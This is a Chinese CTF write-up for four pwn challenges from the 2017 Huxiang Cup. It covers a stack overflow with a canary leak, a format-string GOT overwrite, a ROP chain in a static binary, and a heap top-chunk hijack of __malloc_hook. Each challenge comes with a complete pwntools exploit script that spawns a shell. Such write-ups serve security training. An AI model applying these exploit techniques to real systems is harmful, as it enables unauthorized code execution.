美文网首页
[2017湖湘杯] writesup(pwn)

[2017湖湘杯] writesup(pwn)

作者: 2mpossible | 来源:发表于2019-01-03 20:34 被阅读0次

    题目链接

    pwn100

    • 一开始没看懂程序在干嘛,但是从fork函数和开了canary可以联想到使用stack smash泄漏canary然后rop,后来才读懂程序是对我们的输入进行base64解码,v21数组用于存放解码后的数据,然后我们可以输入0x200的base64数据,0x200/4*3=384大于v21的数组大小,所以产生了缓冲区溢出,通过这个来泄漏canary然后rop

    exp:

    #coding:utf-8
    from PwnContext.core import *
    import base64
    
    context.log_level = 'debug'
    
    def senddata(data):
        p.recvuntil('data[Y/N]\n')
        p.sendline('Y')
        p.recvuntil('datas:\n\n')
        p.sendline(base64.b64encode(data))
    
    
    binary = './pwns'
    debug_libc = './libc.so.6'
    ctx.binary = binary
    ctx.remote_libc = debug_libc
    elf = ELF(binary)
    libc = ELF(debug_libc)
    ctx.debug_remote_libc = True
    p = ctx.start()
    
    #leak canary
    senddata('a'*(0x10d-0xc+1))
    p.recvuntil('a'*(0x10d-0xc+1))
    canary = u32(p.recv(3).rjust(4,'\x00'))
    log.success('canary : 0x%x'%canary)
    
    #leak libc
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    puts_offset = libc.symbols['puts']
    system_offset = libc.symbols['system']
    binsh_offset = libc.search('/bin/sh').next()
    payload = 'a'*(0x10d-0xc) + p32(canary) + p32(0) + 'a'*0x8
    payload += p32(puts_plt) + p32(0x08048B8A) + p32(puts_got)
    senddata(payload)
    p.recvuntil('a\n')
    libc_base = u32(p.recv(4)) - puts_offset
    log.success('libc_base addr : 0x%x'%libc_base)
    system_addr = libc_base + system_offset
    log.success('system addr : 0x%x'%system_addr)
    binsh_addr = libc_base + binsh_offset
    
    #system('/bin/sh\x00')
    payload = 'a'*(0x10d-0xc) + p32(canary) + p32(0) + 'a'*0x8
    payload += p32(system_addr) + p32(0xdeadbeef) + p32(binsh_addr)
    senddata(payload)
    
    p.interactive()
    

    pwn200

    • 32位栈上格式化字符串,先泄漏偏移,然后泄漏libc,最后改printf_got为system地址

    exp:

    #coding:utf-8
    from PwnContext.core import *
    
    context.log_level = 'debug'
    
    def fmt_attack(payload,age):
        p.recvuntil('PLAY[Y/N]\n')
        p.sendline('Y')
        p.recvuntil('NAME:\n\n')
        p.sendline(payload)
        p.recvuntil('WELCOME \n')
        data = p.recvuntil('\n',drop=True)
        p.recvuntil('AGE:\n\n')
        p.sendline(age)
        return data
    
    binary = './pwne'
    debug_libc = './libc.so.6'
    ctx.binary = binary
    ctx.remote_libc = debug_libc
    elf = ELF(binary)
    libc = ELF(debug_libc)
    ctx.debug_remote_libc = True
    p = ctx.start()
    
    #leak libc_base
    libc_base = int(fmt_attack('%35$p','1'),16) - libc.symbols['__libc_start_main'] - 243
    log.success('libc_base addr : 0x%x'%libc_base)
    printf_got = elf.got['printf']
    system_addr = libc_base + libc.symbols['system']
    log.success('system addr : 0x%x'%system_addr)
    
    #hijack printf_got -> system_addr
    payload = fmtstr_payload(7,{printf_got:system_addr})
    fmt_attack(payload,'1')
    
    #system('/bin/sh\x00')
    p.recvuntil('PLAY[Y/N]\n')
    p.sendline('Y')
    p.recvuntil('NAME:\n\n')
    p.sendline('/bin/sh\x00')
    p.interactive()
    

    pwn300

    • memcpy造成栈溢出,由于程序是静态链接的,可以直接通过ROPgadget构造rop链,栈溢出的时候要小心程序return 0之前会调用free函数,这里可以采取free(0)绕过,具体原理,简单来说当free的参数是空指针的时候不进行任何操作

    exp:

    from pwn import *
    from struct import pack
    
    context.log_level = 'debug'
    
    def senddata(payload):
        p.recvuntil('the result\n')
        p.sendline('1')
        p.recvuntil('integer x:')
        p.sendline('0')
        p.recvuntil('integer y:')
        p.sendline(str(payload))
    
    p = process('./pwn300')
    p.recvuntil('calculate:')
    p.sendline('255')
    
    payload = []
    payload.append(0x0806ed0a) # pop edx ; ret
    payload.append(0x080ea060) # @ .data
    payload.append(0x080bb406) # pop eax ; ret
    payload.append(int('/bin'[::-1].encode('hex'),16))
    payload.append(0x080a1dad) # mov dword ptr [edx], eax ; ret
    payload.append(0x0806ed0a) # pop edx ; ret
    payload.append(0x080ea064) # @ .data + 4
    payload.append(0x080bb406) # pop eax ; ret
    payload.append(int('//sh'[::-1].encode('hex'),16))
    payload.append(0x080a1dad) # mov dword ptr [edx], eax ; ret
    payload.append(0x0806ed0a) # pop edx ; ret
    payload.append(0x080ea068) # @ .data + 8
    payload.append(0x08054730) # xor eax, eax ; ret
    payload.append(0x080a1dad) # mov dword ptr [edx], eax ; ret
    payload.append(0x080481c9) # pop ebx ; ret
    payload.append(0x080ea060) # @ .data
    payload.append(0x0806ed31) # pop ecx ; pop ebx ; ret
    payload.append(0x080ea068) # @ .data + 8
    payload.append(0x080ea060) # padding without overwrite ebx
    payload.append(0x0806ed0a) # pop edx ; ret
    payload.append(0x080ea068) # @ .data + 8
    payload.append(0x08054730) # xor eax, eax ; ret
    payload.append(0x0807b75f) # inc eax ; ret
    payload.append(0x0807b75f) # inc eax ; ret
    payload.append(0x0807b75f) # inc eax ; ret
    payload.append(0x0807b75f) # inc eax ; ret
    payload.append(0x0807b75f) # inc eax ; ret
    payload.append(0x0807b75f) # inc eax ; ret
    payload.append(0x0807b75f) # inc eax ; ret
    payload.append(0x0807b75f) # inc eax ; ret
    payload.append(0x0807b75f) # inc eax ; ret
    payload.append(0x0807b75f) # inc eax ; ret
    payload.append(0x0807b75f) # inc eax ; ret
    payload.append(0x08049781) # int 0x80
    
    
    for i in range(16):
        senddata(0)
    
    for i in payload:
        senddata(i)
    
    p.recvuntil(' result\n')
    p.sendline('5')
    p.interactive()
    

    pwn400

    • 先create一个profile,在update函数利用-1绕过nbytes不开辟新的堆空间然后覆盖buf的堆地址为got表地址,再利用printf函数,由于nbytes<0所以可以泄漏got表地址
    • Exchange函数可以交换两个指针地址的数据,所以不能改got表为system地址,最后选择改topchunk地址到malloc_hook前面,然后下次malloc的时候就可以覆盖malloc_hook为one_gadget

    exp:

    #coding:utf-8
    from PwnContext.core import *
    
    context.log_level = 'debug'
    
    
    binary = './profile'
    debug_libc = './libc.so.6'
    ctx.binary = binary
    ctx.remote_libc = debug_libc
    elf = ELF(binary)
    libc = ELF(debug_libc)
    ctx.debug_remote_libc = True
    p = ctx.start()
    
    def create(length,name,age):
        p.recvuntil('>')
        p.sendline('1')
        p.recvuntil('name len:\n')
        p.sendline(str(length))
        p.recvuntil('name:\n')
        p.sendline(name)
        p.recvuntil(' age:\n')
        p.sendline(age)
    
    def printf():
        p.recvuntil('>')
        p.sendline('2')
    
    def update(length,name,age):
        p.recvuntil('>')
        p.sendline('3')
        p.recvuntil('namelen:\n')
        p.sendline(str(length))
        p.recvuntil(' name:')
        p.send(name)
        p.recvuntil('age:')
        p.sendline(age)
    
    def exchange(p1,p2):
        p.recvuntil('>')
        p.sendline('4')
        p.recvuntil('Person 1: ')
        p.send(p1)
        p.recvuntil('Person 2: ')
        p.send(p2)
    
    #leak libc
    puts_got = elf.got['puts']
    printf_got = elf.got['printf']
    atoi_got = elf.got['atoi']
    create(0x10,'aaaa','1')
    update(-1,p32(puts_got),'1')
    printf()
    p.recvuntil('name: ')
    libc_base = u32(p.recv(4)) - libc.symbols['puts']
    log.success('libc_base addr : 0x%x'%libc_base)
    topchunk_addr = libc_base + 0x1ad420 + 48
    log.success('topchunk addr : 0x%x'%topchunk_addr)
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    log.success('malloc_hook addr : 0x%x'%malloc_hook)
    one_gadget = libc_base + 0x401b3
    log.success('one_gadget addr : 0x%x'%one_gadget)
    
    #hijack main_arena->topchunk -> __malloc_hook
    exchange(p32(topchunk_addr-12),p32(malloc_hook-0x4c))
    update(0x50,'a'*0x44+p32(one_gadget),'1')
    
    #trigger one_gadegt
    p.recvuntil('>')
    p.sendline('3')
    p.recvuntil('namelen:\n')
    p.sendline('20')
    
    p.interactive()
    

    相关文章

      网友评论

          本文标题:[2017湖湘杯] writesup(pwn)

          本文链接:https://www.haomeiwen.com/subject/trkfrqtx.html